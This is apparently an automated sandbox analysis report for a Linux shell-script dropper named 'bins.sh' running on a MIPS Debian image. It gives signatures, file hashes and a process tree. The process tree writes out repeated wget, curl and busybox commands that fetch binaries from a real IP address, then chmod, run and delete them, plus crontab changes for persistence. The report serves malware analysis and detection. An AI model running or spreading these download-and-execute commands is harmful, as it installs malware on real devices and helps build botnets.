Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    24-11-2024 01:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fa2704f69bcefd901e2e3ca063a3a8d9

  • SHA1

    064f497aaf9573107f8b373e608dee54df2a205d

  • SHA256

    9eb63f75269e3be040c497aad4469eb0d59ae9c665ed79d2f0f839b9ef83f696

  • SHA512

    ad625e97d0c8cb40831213ece86efd36c94272d47e849119364ca732b26dbb581c1369918951dbee458d5672a71d4b80926b881d8404ecd70389f897bbdafffa

  • SSDEEP

    192:mTXvv7q7z3W7fQ7XHXzXOHvc7frq7z3xDmDaDguxxtpJnJ1JdJmvLw7Ftxm43YQA:5jL3zOHvcyBOigKLTmvLwRNRJOigg3zg

Malware Config

Signatures

  • Contacts a large (1700) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:717
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:723
        • /bin/chmod
          chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • File and Directory Permissions Modification
          PID:725
        • /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Executes dropped EXE
          PID:726
        • /bin/rm
          rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
            PID:728
          • /usr/bin/wget
            wget http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Writes file to tmp directory
            PID:729
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Writes file to tmp directory
            PID:730
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Writes file to tmp directory
            PID:731
          • /bin/chmod
            chmod 777 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • File and Directory Permissions Modification
            PID:732
          • /tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            ./7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Executes dropped EXE
            PID:733
          • /bin/rm
            rm 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
              PID:735
            • /usr/bin/wget
              wget http://87.120.125.191/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
              2⤵
              • Writes file to tmp directory
              PID:736
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:737
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
              2⤵
              • Writes file to tmp directory
              PID:738
            • /bin/chmod
              chmod 777 ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
              2⤵
              • File and Directory Permissions Modification
              PID:741
            • /tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
              ./ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
              2⤵
              • Executes dropped EXE
              PID:742
            • /bin/rm
              rm ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
              2⤵
                PID:745
              • /usr/bin/wget
                wget http://87.120.125.191/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                2⤵
                • Writes file to tmp directory
                PID:747
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                2⤵
                • Writes file to tmp directory
                PID:754
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                2⤵
                • Writes file to tmp directory
                PID:761
              • /bin/chmod
                chmod 777 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                2⤵
                • File and Directory Permissions Modification
                PID:765
              • /tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                ./0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                2⤵
                • Executes dropped EXE
                PID:767
              • /bin/rm
                rm 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                2⤵
                  PID:769
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                  2⤵
                  • Writes file to tmp directory
                  PID:771
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:777
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                  2⤵
                  • Writes file to tmp directory
                  PID:790
                • /bin/chmod
                  chmod 777 L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                  2⤵
                  • File and Directory Permissions Modification
                  PID:793
                • /tmp/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                  ./L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                  2⤵
                  • Executes dropped EXE
                  PID:794
                • /bin/rm
                  rm L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                  2⤵
                    PID:799
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                    2⤵
                    • Writes file to tmp directory
                    PID:800
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                    2⤵
                    • Writes file to tmp directory
                    PID:803
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                    2⤵
                    • Writes file to tmp directory
                    PID:804
                  • /bin/chmod
                    chmod 777 HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                    2⤵
                    • File and Directory Permissions Modification
                    PID:805
                  • /tmp/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                    ./HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                    2⤵
                    • Executes dropped EXE
                    PID:806
                  • /bin/rm
                    rm HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                    2⤵
                      PID:808
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                      2⤵
                      • Writes file to tmp directory
                      PID:809
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:810
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                      2⤵
                      • Writes file to tmp directory
                      PID:814
                    • /bin/chmod
                      chmod 777 m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                      2⤵
                      • File and Directory Permissions Modification
                      PID:815
                    • /tmp/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                      ./m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:816
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:818
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:819
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:820
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:821
                          • /bin/rm
                            rm m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                            2⤵
                              PID:829
                            • /usr/bin/wget
                              wget http://87.120.125.191/bins/8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB
                              2⤵
                                PID:833
                              • /usr/bin/curl
                                curl -O http://87.120.125.191/bins/8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB
                                2⤵
                                  PID:920
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.125.191/bins/8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:922
                                • /bin/chmod
                                  chmod 777 8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:927
                                • /tmp/8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB
                                  ./8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB
                                  2⤵
                                  • Executes dropped EXE
                                  PID:928
                                • /bin/rm
                                  rm 8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB
                                  2⤵
                                    PID:930
                                  • /usr/bin/wget
                                    wget http://87.120.125.191/bins/rtTF9bua3yugOpm0PohTvOBUsANgYwLysk
                                    2⤵
                                      PID:932
                                    • /usr/bin/curl
                                      curl -O http://87.120.125.191/bins/rtTF9bua3yugOpm0PohTvOBUsANgYwLysk
                                      2⤵
                                        PID:934
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.125.191/bins/rtTF9bua3yugOpm0PohTvOBUsANgYwLysk
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:937
                                      • /bin/chmod
                                        chmod 777 rtTF9bua3yugOpm0PohTvOBUsANgYwLysk
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:945
                                      • /tmp/rtTF9bua3yugOpm0PohTvOBUsANgYwLysk
                                        ./rtTF9bua3yugOpm0PohTvOBUsANgYwLysk
                                        2⤵
                                        • Executes dropped EXE
                                        PID:946
                                      • /bin/rm
                                        rm rtTF9bua3yugOpm0PohTvOBUsANgYwLysk
                                        2⤵
                                          PID:949
                                        • /usr/bin/wget
                                          wget http://87.120.125.191/bins/ckmaxG7Y5EXBJtPnwY1kwWGFaFOvZ780On
                                          2⤵
                                            PID:950
                                          • /usr/bin/curl
                                            curl -O http://87.120.125.191/bins/ckmaxG7Y5EXBJtPnwY1kwWGFaFOvZ780On
                                            2⤵
                                              PID:953

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

                                            Filesize

                                            127KB

                                            MD5

                                            89077b7bd4bcafca7713be43635c4862

                                            SHA1

                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                            SHA256

                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                            SHA512

                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                          • /tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /tmp/8CqkBhAufrISKNiYITow1rCM9OQNHsDBsB

                                            Filesize

                                            111KB

                                            MD5

                                            ca897a38f23ec23521ce0b1b83f8422d

                                            SHA1

                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                            SHA256

                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                            SHA512

                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                          • /tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO

                                            Filesize

                                            98KB

                                            MD5

                                            5141342d0df8699fa32a6b066a0c592e

                                            SHA1

                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                            SHA256

                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                            SHA512

                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                          • /tmp/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /tmp/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl

                                            Filesize

                                            177KB

                                            MD5

                                            786d75a158fe731feca3880f436082c0

                                            SHA1

                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                            SHA256

                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                            SHA512

                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                          • /tmp/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth

                                            Filesize

                                            151KB

                                            MD5

                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                            SHA1

                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                            SHA256

                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                            SHA512

                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                          • /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/rtTF9bua3yugOpm0PohTvOBUsANgYwLysk

                                            Filesize

                                            122KB

                                            MD5

                                            cd3d4b9c643e5b473fb4d88ed05f0716

                                            SHA1

                                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                                            SHA256

                                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                            SHA512

                                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                          • /var/spool/cron/crontabs/tmp.6Vwdfl

                                            Filesize

                                            210B

                                            MD5

                                            8c2ead88bd925812cd202085c4f8135d

                                            SHA1

                                            4c0f33c2f4e61f048b2cdb649c3923701dab2203

                                            SHA256

                                            2a7562b430dc69f47a6483b250c027dc686e3d40b7a392531bc619be0f0c9e6d

                                            SHA512

                                            916c223ef875434cbef913ef27b0a26819d61201f0d39a15b8918377b83b8cd2c4beaebb589002791f2a87cc2377da35cc9d97d8d9e97a505fdf2be6b07503dd